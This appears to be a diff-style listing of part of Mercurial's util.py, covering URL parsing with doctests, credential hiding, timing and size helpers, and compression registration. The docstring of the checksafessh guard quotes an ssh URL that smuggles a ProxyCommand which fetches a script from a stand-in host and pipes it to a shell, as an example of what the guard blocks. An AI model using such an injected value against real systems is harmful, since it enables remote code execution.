2676 <url scheme: 'file', path: 'C:\\users\\me'>
2678 <url scheme: 'file', path: 'C:\\users\\me'>
2677
2679
2678 Authentication credentials:
2680 Authentication credentials:
2679
2681
2680 >>> url('ssh://joe:xyz@x/repo')
2682 >>> url('ssh://joe:xyz@x/repo')
2681 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2683 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2682 >>> url('ssh://joe@x/repo')
2684 >>> url('ssh://joe@x/repo')
2683 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2685 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2684
2686
2685 Query strings and fragments:
2687 Query strings and fragments:
2686
2688
2687 >>> url('http://host/a?b#c')
2689 >>> url('http://host/a?b#c')
2688 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2690 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2689 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2691 >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
2690 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2692 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2691
2693
2692 Empty path:
2694 Empty path:
2693
2695
2694 >>> url('')
2696 >>> url('')
2695 <url path: ''>
2697 <url path: ''>
2696 >>> url('#a')
2698 >>> url('#a')
2697 <url path: '', fragment: 'a'>
2699 <url path: '', fragment: 'a'>
2698 >>> url('http://host/')
2700 >>> url('http://host/')
2699 <url scheme: 'http', host: 'host', path: ''>
2701 <url scheme: 'http', host: 'host', path: ''>
2700 >>> url('http://host/#a')
2702 >>> url('http://host/#a')
2701 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2703 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2702
2704
2703 Only scheme:
2705 Only scheme:
2704
2706
2705 >>> url('http:')
2707 >>> url('http:')
2706 <url scheme: 'http'>
2708 <url scheme: 'http'>
2707 """
2709 """
2708
2710
2709 _safechars = "!~*'()+"
2711 _safechars = "!~*'()+"
2710 _safepchars = "/!~*'()+:\\"
2712 _safepchars = "/!~*'()+:\\"
2711 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2713 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2712
2714
2713 def __init__(self, path, parsequery=True, parsefragment=True):
2715 def __init__(self, path, parsequery=True, parsefragment=True):
2714 # We slowly chomp away at path until we have only the path left
2716 # We slowly chomp away at path until we have only the path left
2715 self.scheme = self.user = self.passwd = self.host = None
2717 self.scheme = self.user = self.passwd = self.host = None
2716 self.port = self.path = self.query = self.fragment = None
2718 self.port = self.path = self.query = self.fragment = None
2717 self._localpath = True
2719 self._localpath = True
2718 self._hostport = ''
2720 self._hostport = ''
2719 self._origpath = path
2721 self._origpath = path
2720
2722
2721 if parsefragment and '#' in path:
2723 if parsefragment and '#' in path:
2722 path, self.fragment = path.split('#', 1)
2724 path, self.fragment = path.split('#', 1)
2723
2725
2724 # special case for Windows drive letters and UNC paths
2726 # special case for Windows drive letters and UNC paths
2725 if hasdriveletter(path) or path.startswith('\\\\'):
2727 if hasdriveletter(path) or path.startswith('\\\\'):
2726 self.path = path
2728 self.path = path
2727 return
2729 return
2728
2730
2729 # For compatibility reasons, we can't handle bundle paths as
2731 # For compatibility reasons, we can't handle bundle paths as
2730 # normal URLS
2732 # normal URLS
2731 if path.startswith('bundle:'):
2733 if path.startswith('bundle:'):
2732 self.scheme = 'bundle'
2734 self.scheme = 'bundle'
2733 path = path[7:]
2735 path = path[7:]
2734 if path.startswith('//'):
2736 if path.startswith('//'):
2735 path = path[2:]
2737 path = path[2:]
2736 self.path = path
2738 self.path = path
2737 return
2739 return
2738
2740
2739 if self._matchscheme(path):
2741 if self._matchscheme(path):
2740 parts = path.split(':', 1)
2742 parts = path.split(':', 1)
2741 if parts[0]:
2743 if parts[0]:
2742 self.scheme, path = parts
2744 self.scheme, path = parts
2743 self._localpath = False
2745 self._localpath = False
2744
2746
2745 if not path:
2747 if not path:
2746 path = None
2748 path = None
2747 if self._localpath:
2749 if self._localpath:
2748 self.path = ''
2750 self.path = ''
2749 return
2751 return
2750 else:
2752 else:
2751 if self._localpath:
2753 if self._localpath:
2752 self.path = path
2754 self.path = path
2753 return
2755 return
2754
2756
2755 if parsequery and '?' in path:
2757 if parsequery and '?' in path:
2756 path, self.query = path.split('?', 1)
2758 path, self.query = path.split('?', 1)
2757 if not path:
2759 if not path:
2758 path = None
2760 path = None
2759 if not self.query:
2761 if not self.query:
2760 self.query = None
2762 self.query = None
2761
2763
2762 # // is required to specify a host/authority
2764 # // is required to specify a host/authority
2763 if path and path.startswith('//'):
2765 if path and path.startswith('//'):
2764 parts = path[2:].split('/', 1)
2766 parts = path[2:].split('/', 1)
2765 if len(parts) > 1:
2767 if len(parts) > 1:
2766 self.host, path = parts
2768 self.host, path = parts
2767 else:
2769 else:
2768 self.host = parts[0]
2770 self.host = parts[0]
2769 path = None
2771 path = None
2770 if not self.host:
2772 if not self.host:
2771 self.host = None
2773 self.host = None
2772 # path of file:///d is /d
2774 # path of file:///d is /d
2773 # path of file:///d:/ is d:/, not /d:/
2775 # path of file:///d:/ is d:/, not /d:/
2774 if path and not hasdriveletter(path):
2776 if path and not hasdriveletter(path):
2775 path = '/' + path
2777 path = '/' + path
2776
2778
2777 if self.host and '@' in self.host:
2779 if self.host and '@' in self.host:
2778 self.user, self.host = self.host.rsplit('@', 1)
2780 self.user, self.host = self.host.rsplit('@', 1)
2779 if ':' in self.user:
2781 if ':' in self.user:
2780 self.user, self.passwd = self.user.split(':', 1)
2782 self.user, self.passwd = self.user.split(':', 1)
2781 if not self.host:
2783 if not self.host:
2782 self.host = None
2784 self.host = None
2783
2785
2784 # Don't split on colons in IPv6 addresses without ports
2786 # Don't split on colons in IPv6 addresses without ports
2785 if (self.host and ':' in self.host and
2787 if (self.host and ':' in self.host and
2786 not (self.host.startswith('[') and self.host.endswith(']'))):
2788 not (self.host.startswith('[') and self.host.endswith(']'))):
2787 self._hostport = self.host
2789 self._hostport = self.host
2788 self.host, self.port = self.host.rsplit(':', 1)
2790 self.host, self.port = self.host.rsplit(':', 1)
2789 if not self.host:
2791 if not self.host:
2790 self.host = None
2792 self.host = None
2791
2793
2792 if (self.host and self.scheme == 'file' and
2794 if (self.host and self.scheme == 'file' and
2793 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2795 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2794 raise Abort(_('file:// URLs can only refer to localhost'))
2796 raise Abort(_('file:// URLs can only refer to localhost'))
2795
2797
2796 self.path = path
2798 self.path = path
2797
2799
2798 # leave the query string escaped
2800 # leave the query string escaped
2799 for a in ('user', 'passwd', 'host', 'port',
2801 for a in ('user', 'passwd', 'host', 'port',
2800 'path', 'fragment'):
2802 'path', 'fragment'):
2801 v = getattr(self, a)
2803 v = getattr(self, a)
2802 if v is not None:
2804 if v is not None:
2803 setattr(self, a, urlreq.unquote(v))
2805 setattr(self, a, urlreq.unquote(v))
2804
2806
2805 def __repr__(self):
2807 def __repr__(self):
2806 attrs = []
2808 attrs = []
2807 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2809 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2808 'query', 'fragment'):
2810 'query', 'fragment'):
2809 v = getattr(self, a)
2811 v = getattr(self, a)
2810 if v is not None:
2812 if v is not None:
2811 attrs.append('%s: %r' % (a, v))
2813 attrs.append('%s: %r' % (a, v))
2812 return '<url %s>' % ', '.join(attrs)
2814 return '<url %s>' % ', '.join(attrs)
2813
2815
2814 def __bytes__(self):
2816 def __bytes__(self):
2815 r"""Join the URL's components back into a URL string.
2817 r"""Join the URL's components back into a URL string.
2816
2818
2817 Examples:
2819 Examples:
2818
2820
2819 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2821 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2820 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2822 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2821 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2823 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2822 'http://user:pw@host:80/?foo=bar&baz=42'
2824 'http://user:pw@host:80/?foo=bar&baz=42'
2823 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2825 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2824 'http://user:pw@host:80/?foo=bar%3dbaz'
2826 'http://user:pw@host:80/?foo=bar%3dbaz'
2825 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2827 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2826 'ssh://user:pw@[::1]:2200//home/joe#'
2828 'ssh://user:pw@[::1]:2200//home/joe#'
2827 >>> str(url('http://localhost:80//'))
2829 >>> str(url('http://localhost:80//'))
2828 'http://localhost:80//'
2830 'http://localhost:80//'
2829 >>> str(url('http://localhost:80/'))
2831 >>> str(url('http://localhost:80/'))
2830 'http://localhost:80/'
2832 'http://localhost:80/'
2831 >>> str(url('http://localhost:80'))
2833 >>> str(url('http://localhost:80'))
2832 'http://localhost:80/'
2834 'http://localhost:80/'
2833 >>> str(url('bundle:foo'))
2835 >>> str(url('bundle:foo'))
2834 'bundle:foo'
2836 'bundle:foo'
2835 >>> str(url('bundle://../foo'))
2837 >>> str(url('bundle://../foo'))
2836 'bundle:../foo'
2838 'bundle:../foo'
2837 >>> str(url('path'))
2839 >>> str(url('path'))
2838 'path'
2840 'path'
2839 >>> str(url('file:///tmp/foo/bar'))
2841 >>> str(url('file:///tmp/foo/bar'))
2840 'file:///tmp/foo/bar'
2842 'file:///tmp/foo/bar'
2841 >>> str(url('file:///c:/tmp/foo/bar'))
2843 >>> str(url('file:///c:/tmp/foo/bar'))
2842 'file:///c:/tmp/foo/bar'
2844 'file:///c:/tmp/foo/bar'
2843 >>> print url(r'bundle:foo\bar')
2845 >>> print url(r'bundle:foo\bar')
2844 bundle:foo\bar
2846 bundle:foo\bar
2845 >>> print url(r'file:///D:\data\hg')
2847 >>> print url(r'file:///D:\data\hg')
2846 file:///D:\data\hg
2848 file:///D:\data\hg
2847 """
2849 """
2848 if self._localpath:
2850 if self._localpath:
2849 s = self.path
2851 s = self.path
2850 if self.scheme == 'bundle':
2852 if self.scheme == 'bundle':
2851 s = 'bundle:' + s
2853 s = 'bundle:' + s
2852 if self.fragment:
2854 if self.fragment:
2853 s += '#' + self.fragment
2855 s += '#' + self.fragment
2854 return s
2856 return s
2855
2857
2856 s = self.scheme + ':'
2858 s = self.scheme + ':'
2857 if self.user or self.passwd or self.host:
2859 if self.user or self.passwd or self.host:
2858 s += '//'
2860 s += '//'
2859 elif self.scheme and (not self.path or self.path.startswith('/')
2861 elif self.scheme and (not self.path or self.path.startswith('/')
2860 or hasdriveletter(self.path)):
2862 or hasdriveletter(self.path)):
2861 s += '//'
2863 s += '//'
2862 if hasdriveletter(self.path):
2864 if hasdriveletter(self.path):
2863 s += '/'
2865 s += '/'
2864 if self.user:
2866 if self.user:
2865 s += urlreq.quote(self.user, safe=self._safechars)
2867 s += urlreq.quote(self.user, safe=self._safechars)
2866 if self.passwd:
2868 if self.passwd:
2867 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2869 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2868 if self.user or self.passwd:
2870 if self.user or self.passwd:
2869 s += '@'
2871 s += '@'
2870 if self.host:
2872 if self.host:
2871 if not (self.host.startswith('[') and self.host.endswith(']')):
2873 if not (self.host.startswith('[') and self.host.endswith(']')):
2872 s += urlreq.quote(self.host)
2874 s += urlreq.quote(self.host)
2873 else:
2875 else:
2874 s += self.host
2876 s += self.host
2875 if self.port:
2877 if self.port:
2876 s += ':' + urlreq.quote(self.port)
2878 s += ':' + urlreq.quote(self.port)
2877 if self.host:
2879 if self.host:
2878 s += '/'
2880 s += '/'
2879 if self.path:
2881 if self.path:
2880 # TODO: similar to the query string, we should not unescape the
2882 # TODO: similar to the query string, we should not unescape the
2881 # path when we store it, the path might contain '%2f' = '/',
2883 # path when we store it, the path might contain '%2f' = '/',
2882 # which we should *not* escape.
2884 # which we should *not* escape.
2883 s += urlreq.quote(self.path, safe=self._safepchars)
2885 s += urlreq.quote(self.path, safe=self._safepchars)
2884 if self.query:
2886 if self.query:
2885 # we store the query in escaped form.
2887 # we store the query in escaped form.
2886 s += '?' + self.query
2888 s += '?' + self.query
2887 if self.fragment is not None:
2889 if self.fragment is not None:
2888 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2890 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2889 return s
2891 return s
2890
2892
2891 __str__ = encoding.strmethod(__bytes__)
2893 __str__ = encoding.strmethod(__bytes__)
2892
2894
2893 def authinfo(self):
2895 def authinfo(self):
2894 user, passwd = self.user, self.passwd
2896 user, passwd = self.user, self.passwd
2895 try:
2897 try:
2896 self.user, self.passwd = None, None
2898 self.user, self.passwd = None, None
2897 s = bytes(self)
2899 s = bytes(self)
2898 finally:
2900 finally:
2899 self.user, self.passwd = user, passwd
2901 self.user, self.passwd = user, passwd
2900 if not self.user:
2902 if not self.user:
2901 return (s, None)
2903 return (s, None)
2902 # authinfo[1] is passed to urllib2 password manager, and its
2904 # authinfo[1] is passed to urllib2 password manager, and its
2903 # URIs must not contain credentials. The host is passed in the
2905 # URIs must not contain credentials. The host is passed in the
2904 # URIs list because Python < 2.4.3 uses only that to search for
2906 # URIs list because Python < 2.4.3 uses only that to search for
2905 # a password.
2907 # a password.
2906 return (s, (None, (s, self.host),
2908 return (s, (None, (s, self.host),
2907 self.user, self.passwd or ''))
2909 self.user, self.passwd or ''))
2908
2910
2909 def isabs(self):
2911 def isabs(self):
2910 if self.scheme and self.scheme != 'file':
2912 if self.scheme and self.scheme != 'file':
2911 return True # remote URL
2913 return True # remote URL
2912 if hasdriveletter(self.path):
2914 if hasdriveletter(self.path):
2913 return True # absolute for our purposes - can't be joined()
2915 return True # absolute for our purposes - can't be joined()
2914 if self.path.startswith(br'\\'):
2916 if self.path.startswith(br'\\'):
2915 return True # Windows UNC path
2917 return True # Windows UNC path
2916 if self.path.startswith('/'):
2918 if self.path.startswith('/'):
2917 return True # POSIX-style
2919 return True # POSIX-style
2918 return False
2920 return False
2919
2921
2920 def localpath(self):
2922 def localpath(self):
2921 if self.scheme == 'file' or self.scheme == 'bundle':
2923 if self.scheme == 'file' or self.scheme == 'bundle':
2922 path = self.path or '/'
2924 path = self.path or '/'
2923 # For Windows, we need to promote hosts containing drive
2925 # For Windows, we need to promote hosts containing drive
2924 # letters to paths with drive letters.
2926 # letters to paths with drive letters.
2925 if hasdriveletter(self._hostport):
2927 if hasdriveletter(self._hostport):
2926 path = self._hostport + '/' + self.path
2928 path = self._hostport + '/' + self.path
2927 elif (self.host is not None and self.path
2929 elif (self.host is not None and self.path
2928 and not hasdriveletter(path)):
2930 and not hasdriveletter(path)):
2929 path = '/' + path
2931 path = '/' + path
2930 return path
2932 return path
2931 return self._origpath
2933 return self._origpath
2932
2934
2933 def islocal(self):
2935 def islocal(self):
2934 '''whether localpath will return something that posixfile can open'''
2936 '''whether localpath will return something that posixfile can open'''
2935 return (not self.scheme or self.scheme == 'file'
2937 return (not self.scheme or self.scheme == 'file'
2936 or self.scheme == 'bundle')
2938 or self.scheme == 'bundle')
2937
2939
2938 def hasscheme(path):
2940 def hasscheme(path):
2939 return bool(url(path).scheme)
2941 return bool(url(path).scheme)
2940
2942
2941 def hasdriveletter(path):
2943 def hasdriveletter(path):
2942 return path and path[1:2] == ':' and path[0:1].isalpha()
2944 return path and path[1:2] == ':' and path[0:1].isalpha()
2943
2945
2944 def urllocalpath(path):
2946 def urllocalpath(path):
2945 return url(path, parsequery=False, parsefragment=False).localpath()
2947 return url(path, parsequery=False, parsefragment=False).localpath()
2946
2948
2947 def checksafessh(path):
2949 def checksafessh(path):
2948 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2950 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2949
2951
2950 This is a sanity check for ssh urls. ssh will parse the first item as
2952 This is a sanity check for ssh urls. ssh will parse the first item as
2951 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2953 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2952 Let's prevent these potentially exploited urls entirely and warn the
2954 Let's prevent these potentially exploited urls entirely and warn the
2953 user.
2955 user.
2954
2956
2955 Raises an error.Abort when the url is unsafe.
2957 Raises an error.Abort when the url is unsafe.
2956 """
2958 """
2957 path = urlreq.unquote(path)
2959 path = urlreq.unquote(path)
2958 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2960 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2959 raise error.Abort(_('potentially unsafe url: %r') %
2961 raise error.Abort(_('potentially unsafe url: %r') %
2960 (path,))
2962 (path,))
2961
2963
2962 def hidepassword(u):
2964 def hidepassword(u):
2963 '''hide user credential in a url string'''
2965 '''hide user credential in a url string'''
2964 u = url(u)
2966 u = url(u)
2965 if u.passwd:
2967 if u.passwd:
2966 u.passwd = '***'
2968 u.passwd = '***'
2967 return bytes(u)
2969 return bytes(u)
2968
2970
2969 def removeauth(u):
2971 def removeauth(u):
2970 '''remove all authentication information from a url string'''
2972 '''remove all authentication information from a url string'''
2971 u = url(u)
2973 u = url(u)
2972 u.user = u.passwd = None
2974 u.user = u.passwd = None
2973 return str(u)
2975 return str(u)
2974
2976
2975 timecount = unitcountfn(
2977 timecount = unitcountfn(
2976 (1, 1e3, _('%.0f s')),
2978 (1, 1e3, _('%.0f s')),
2977 (100, 1, _('%.1f s')),
2979 (100, 1, _('%.1f s')),
2978 (10, 1, _('%.2f s')),
2980 (10, 1, _('%.2f s')),
2979 (1, 1, _('%.3f s')),
2981 (1, 1, _('%.3f s')),
2980 (100, 0.001, _('%.1f ms')),
2982 (100, 0.001, _('%.1f ms')),
2981 (10, 0.001, _('%.2f ms')),
2983 (10, 0.001, _('%.2f ms')),
2982 (1, 0.001, _('%.3f ms')),
2984 (1, 0.001, _('%.3f ms')),
2983 (100, 0.000001, _('%.1f us')),
2985 (100, 0.000001, _('%.1f us')),
2984 (10, 0.000001, _('%.2f us')),
2986 (10, 0.000001, _('%.2f us')),
2985 (1, 0.000001, _('%.3f us')),
2987 (1, 0.000001, _('%.3f us')),
2986 (100, 0.000000001, _('%.1f ns')),
2988 (100, 0.000000001, _('%.1f ns')),
2987 (10, 0.000000001, _('%.2f ns')),
2989 (10, 0.000000001, _('%.2f ns')),
2988 (1, 0.000000001, _('%.3f ns')),
2990 (1, 0.000000001, _('%.3f ns')),
2989 )
2991 )
2990
2992
2991 _timenesting = [0]
2993 _timenesting = [0]
2992
2994
2993 def timed(func):
2995 def timed(func):
2994 '''Report the execution time of a function call to stderr.
2996 '''Report the execution time of a function call to stderr.
2995
2997
2996 During development, use as a decorator when you need to measure
2998 During development, use as a decorator when you need to measure
2997 the cost of a function, e.g. as follows:
2999 the cost of a function, e.g. as follows:
2998
3000
2999 @util.timed
3001 @util.timed
3000 def foo(a, b, c):
3002 def foo(a, b, c):
3001 pass
3003 pass
3002 '''
3004 '''
3003
3005
3004 def wrapper(*args, **kwargs):
3006 def wrapper(*args, **kwargs):
3005 start = timer()
3007 start = timer()
3006 indent = 2
3008 indent = 2
3007 _timenesting[0] += indent
3009 _timenesting[0] += indent
3008 try:
3010 try:
3009 return func(*args, **kwargs)
3011 return func(*args, **kwargs)
3010 finally:
3012 finally:
3011 elapsed = timer() - start
3013 elapsed = timer() - start
3012 _timenesting[0] -= indent
3014 _timenesting[0] -= indent
3013 stderr.write('%s%s: %s\n' %
3015 stderr.write('%s%s: %s\n' %
3014 (' ' * _timenesting[0], func.__name__,
3016 (' ' * _timenesting[0], func.__name__,
3015 timecount(elapsed)))
3017 timecount(elapsed)))
3016 return wrapper
3018 return wrapper
3017
3019
3018 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3020 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3019 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3021 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3020
3022
3021 def sizetoint(s):
3023 def sizetoint(s):
3022 '''Convert a space specifier to a byte count.
3024 '''Convert a space specifier to a byte count.
3023
3025
3024 >>> sizetoint('30')
3026 >>> sizetoint('30')
3025 30
3027 30
3026 >>> sizetoint('2.2kb')
3028 >>> sizetoint('2.2kb')
3027 2252
3029 2252
3028 >>> sizetoint('6M')
3030 >>> sizetoint('6M')
3029 6291456
3031 6291456
3030 '''
3032 '''
3031 t = s.strip().lower()
3033 t = s.strip().lower()
3032 try:
3034 try:
3033 for k, u in _sizeunits:
3035 for k, u in _sizeunits:
3034 if t.endswith(k):
3036 if t.endswith(k):
3035 return int(float(t[:-len(k)]) * u)
3037 return int(float(t[:-len(k)]) * u)
3036 return int(t)
3038 return int(t)
3037 except ValueError:
3039 except ValueError:
3038 raise error.ParseError(_("couldn't parse size: %s") % s)
3040 raise error.ParseError(_("couldn't parse size: %s") % s)
3039
3041
3040 class hooks(object):
3042 class hooks(object):
3041 '''A collection of hook functions that can be used to extend a
3043 '''A collection of hook functions that can be used to extend a
3042 function's behavior. Hooks are called in lexicographic order,
3044 function's behavior. Hooks are called in lexicographic order,
3043 based on the names of their sources.'''
3045 based on the names of their sources.'''
3044
3046
3045 def __init__(self):
3047 def __init__(self):
3046 self._hooks = []
3048 self._hooks = []
3047
3049
3048 def add(self, source, hook):
3050 def add(self, source, hook):
3049 self._hooks.append((source, hook))
3051 self._hooks.append((source, hook))
3050
3052
3051 def __call__(self, *args):
3053 def __call__(self, *args):
3052 self._hooks.sort(key=lambda x: x[0])
3054 self._hooks.sort(key=lambda x: x[0])
3053 results = []
3055 results = []
3054 for source, hook in self._hooks:
3056 for source, hook in self._hooks:
3055 results.append(hook(*args))
3057 results.append(hook(*args))
3056 return results
3058 return results
3057
3059
3058 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3060 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3059 '''Yields lines for a nicely formatted stacktrace.
3061 '''Yields lines for a nicely formatted stacktrace.
3060 Skips the 'skip' last entries, then return the last 'depth' entries.
3062 Skips the 'skip' last entries, then return the last 'depth' entries.
3061 Each file+linenumber is formatted according to fileline.
3063 Each file+linenumber is formatted according to fileline.
3062 Each line is formatted according to line.
3064 Each line is formatted according to line.
3063 If line is None, it yields:
3065 If line is None, it yields:
3064 length of longest filepath+line number,
3066 length of longest filepath+line number,
3065 filepath+linenumber,
3067 filepath+linenumber,
3066 function
3068 function
3067
3069
3068 Not be used in production code but very convenient while developing.
3070 Not be used in production code but very convenient while developing.
3069 '''
3071 '''
3070 entries = [(fileline % (fn, ln), func)
3072 entries = [(fileline % (fn, ln), func)
3071 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3073 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3072 ][-depth:]
3074 ][-depth:]
3073 if entries:
3075 if entries:
3074 fnmax = max(len(entry[0]) for entry in entries)
3076 fnmax = max(len(entry[0]) for entry in entries)
3075 for fnln, func in entries:
3077 for fnln, func in entries:
3076 if line is None:
3078 if line is None:
3077 yield (fnmax, fnln, func)
3079 yield (fnmax, fnln, func)
3078 else:
3080 else:
3079 yield line % (fnmax, fnln, func)
3081 yield line % (fnmax, fnln, func)
3080
3082
3081 def debugstacktrace(msg='stacktrace', skip=0,
3083 def debugstacktrace(msg='stacktrace', skip=0,
3082 f=stderr, otherf=stdout, depth=0):
3084 f=stderr, otherf=stdout, depth=0):
3083 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3085 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3084 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3086 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3085 By default it will flush stdout first.
3087 By default it will flush stdout first.
3086 It can be used everywhere and intentionally does not require an ui object.
3088 It can be used everywhere and intentionally does not require an ui object.
3087 Not be used in production code but very convenient while developing.
3089 Not be used in production code but very convenient while developing.
3088 '''
3090 '''
3089 if otherf:
3091 if otherf:
3090 otherf.flush()
3092 otherf.flush()
3091 f.write('%s at:\n' % msg.rstrip())
3093 f.write('%s at:\n' % msg.rstrip())
3092 for line in getstackframes(skip + 1, depth=depth):
3094 for line in getstackframes(skip + 1, depth=depth):
3093 f.write(line)
3095 f.write(line)
3094 f.flush()
3096 f.flush()
3095
3097
3096 class dirs(object):
3098 class dirs(object):
3097 '''a multiset of directory names from a dirstate or manifest'''
3099 '''a multiset of directory names from a dirstate or manifest'''
3098
3100
3099 def __init__(self, map, skip=None):
3101 def __init__(self, map, skip=None):
3100 self._dirs = {}
3102 self._dirs = {}
3101 addpath = self.addpath
3103 addpath = self.addpath
3102 if safehasattr(map, 'iteritems') and skip is not None:
3104 if safehasattr(map, 'iteritems') and skip is not None:
3103 for f, s in map.iteritems():
3105 for f, s in map.iteritems():
3104 if s[0] != skip:
3106 if s[0] != skip:
3105 addpath(f)
3107 addpath(f)
3106 else:
3108 else:
3107 for f in map:
3109 for f in map:
3108 addpath(f)
3110 addpath(f)
3109
3111
3110 def addpath(self, path):
3112 def addpath(self, path):
3111 dirs = self._dirs
3113 dirs = self._dirs
3112 for base in finddirs(path):
3114 for base in finddirs(path):
3113 if base in dirs:
3115 if base in dirs:
3114 dirs[base] += 1
3116 dirs[base] += 1
3115 return
3117 return
3116 dirs[base] = 1
3118 dirs[base] = 1
3117
3119
3118 def delpath(self, path):
3120 def delpath(self, path):
3119 dirs = self._dirs
3121 dirs = self._dirs
3120 for base in finddirs(path):
3122 for base in finddirs(path):
3121 if dirs[base] > 1:
3123 if dirs[base] > 1:
3122 dirs[base] -= 1
3124 dirs[base] -= 1
3123 return
3125 return
3124 del dirs[base]
3126 del dirs[base]
3125
3127
3126 def __iter__(self):
3128 def __iter__(self):
3127 return iter(self._dirs)
3129 return iter(self._dirs)
3128
3130
3129 def __contains__(self, d):
3131 def __contains__(self, d):
3130 return d in self._dirs
3132 return d in self._dirs
3131
3133
3132 if safehasattr(parsers, 'dirs'):
3134 if safehasattr(parsers, 'dirs'):
3133 dirs = parsers.dirs
3135 dirs = parsers.dirs
3134
3136
3135 def finddirs(path):
3137 def finddirs(path):
3136 pos = path.rfind('/')
3138 pos = path.rfind('/')
3137 while pos != -1:
3139 while pos != -1:
3138 yield path[:pos]
3140 yield path[:pos]
3139 pos = path.rfind('/', 0, pos)
3141 pos = path.rfind('/', 0, pos)
3140
3142
3141 # compression code
3143 # compression code
3142
3144
3143 SERVERROLE = 'server'
3145 SERVERROLE = 'server'
3144 CLIENTROLE = 'client'
3146 CLIENTROLE = 'client'
3145
3147
3146 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3148 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3147 (u'name', u'serverpriority',
3149 (u'name', u'serverpriority',
3148 u'clientpriority'))
3150 u'clientpriority'))
3149
3151
3150 class compressormanager(object):
3152 class compressormanager(object):
3151 """Holds registrations of various compression engines.
3153 """Holds registrations of various compression engines.
3152
3154
3153 This class essentially abstracts the differences between compression
3155 This class essentially abstracts the differences between compression
3154 engines to allow new compression formats to be added easily, possibly from
3156 engines to allow new compression formats to be added easily, possibly from
3155 extensions.
3157 extensions.
3156
3158
3157 Compressors are registered against the global instance by calling its
3159 Compressors are registered against the global instance by calling its
3158 ``register()`` method.
3160 ``register()`` method.
3159 """
3161 """
3160 def __init__(self):
3162 def __init__(self):
3161 self._engines = {}
3163 self._engines = {}
3162 # Bundle spec human name to engine name.
3164 # Bundle spec human name to engine name.
3163 self._bundlenames = {}
3165 self._bundlenames = {}
3164 # Internal bundle identifier to engine name.
3166 # Internal bundle identifier to engine name.
3165 self._bundletypes = {}
3167 self._bundletypes = {}
3166 # Revlog header to engine name.
3168 # Revlog header to engine name.
3167 self._revlogheaders = {}
3169 self._revlogheaders = {}
3168 # Wire proto identifier to engine name.
3170 # Wire proto identifier to engine name.
3169 self._wiretypes = {}
3171 self._wiretypes = {}
3170
3172
3171 def __getitem__(self, key):
3173 def __getitem__(self, key):
3172 return self._engines[key]
3174 return self._engines[key]
3173
3175
3174 def __contains__(self, key):
3176 def __contains__(self, key):
3175 return key in self._engines
3177 return key in self._engines
3176
3178
3177 def __iter__(self):
3179 def __iter__(self):
3178 return iter(self._engines.keys())
3180 return iter(self._engines.keys())
3179
3181
3180 def register(self, engine):
3182 def register(self, engine):
3181 """Register a compression engine with the manager.
3183 """Register a compression engine with the manager.
3182
3184
3183 The argument must be a ``compressionengine`` instance.
3185 The argument must be a ``compressionengine`` instance.
3184 """
3186 """
3185 if not isinstance(engine, compressionengine):
3187 if not isinstance(engine, compressionengine):
3186 raise ValueError(_('argument must be a compressionengine'))
3188 raise ValueError(_('argument must be a compressionengine'))
3187
3189
3188 name = engine.name()
3190 name = engine.name()
3189
3191
3190 if name in self._engines:
3192 if name in self._engines:
3191 raise error.Abort(_('compression engine %s already registered') %
3193 raise error.Abort(_('compression engine %s already registered') %
3192 name)
3194 name)
3193
3195
3194 bundleinfo = engine.bundletype()
3196 bundleinfo = engine.bundletype()
3195 if bundleinfo:
3197 if bundleinfo:
3196 bundlename, bundletype = bundleinfo
3198 bundlename, bundletype = bundleinfo
3197
3199
